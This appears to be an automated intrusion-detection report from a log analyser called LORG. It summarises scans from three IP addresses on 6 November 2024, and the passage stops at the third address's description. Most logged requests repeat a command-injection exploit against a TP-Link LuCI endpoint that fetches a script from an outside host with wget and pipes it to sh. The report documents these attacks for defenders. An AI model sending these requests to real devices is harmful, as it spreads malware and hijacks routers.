LORG Detection Results [lorg]

Summary: 25 incidents discovered from 3 clients

141.98.11.79 | 13 incidents | impact ∑: 195

attacks only

Description: A targeted scan from Poland yesterday. A total of 13 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in Poland, so it might be carried out by a hobbyist on caffeine.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 03:33:49 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/tplink -O-\| sh`) HTTP/1.1	302	665	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 03:34:04 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 07:22:37 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/tplink -O-\| sh`) HTTP/1.1	302	665	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 07:22:37 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 09:35:25 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/tplink -O-\| sh`) HTTP/1.1	302	665	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 09:35:35 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 10:44:21 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/tplink -O-\| sh`) HTTP/1.1	302	665	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 10:44:36 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 12:10:05 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 12:10:11 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 13:44:20 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 13:44:22 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 15:36:12 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 15:36:18 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 16:19:44 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 16:19:57 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 18:00:18 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 18:00:24 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 19:02:16 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 19:02:28 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 20:01:16 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 20:01:24 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 21:52:29 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 21:52:45 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-
15	xss csrf sqli id lfi	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 23:26:33 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://45.202.35.24/l -O-\| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	Poland	141.98.11.79	-	-	Wed, 06 Nov 2024 23:26:47 +0100	\x16\x03\x01\x05\xa8\x01	400	408	-	-

185.191.126.248 | 6 incidents | impact ∑: 90

attacks only

Description: A targeted scan and random scan yesterday. A total of 6 incidents where discovered by phpids detection modules.

Impact	Tags	Remote-City	Remote-Host	Remote-Logname	Remote-User	Date	Request	Final-Status	Bytes-Sent	Referer	User-Agent
15	xss csrf sqli id lfi	-	185.191.126.248	-	-	Wed, 06 Nov 2024 02:37:47 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 02:37:47 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	-	185.191.126.248	-	-	Wed, 06 Nov 2024 03:50:03 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 03:50:03 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	-	185.191.126.248	-	-	Wed, 06 Nov 2024 04:04:19 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 04:04:19 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	-	185.191.126.248	-	-	Wed, 06 Nov 2024 06:14:36 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 06:14:36 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	-	185.191.126.248	-	-	Wed, 06 Nov 2024 06:45:29 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 06:45:29 +0100	\x16\x03\x01	400	408	-	-
15	xss csrf sqli id lfi	-	185.191.126.248	-	-	Wed, 06 Nov 2024 09:03:41 +0100	GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- \| sh`) HTTP/1.1	302	655	-	Go-http-client/1.1
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 09:03:41 +0100	\x16\x03\x01	400	408	-	-
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 09:46:23 +0100	GET / HTTP/1.1	302	403	-	-
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 12:48:06 +0100	GET / HTTP/1.1	302	403	-	-
0	none	-	185.191.126.248	-	-	Wed, 06 Nov 2024 23:00:11 +0100	GET / HTTP/1.1	302	403	-	-

31.220.1.88 | 6 incidents | impact ∑: 90

attacks only

Description: A targeted scan from Belize yesterday. A total of 6 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in Belize, so it might be carried out by a hobbyist on caffeine.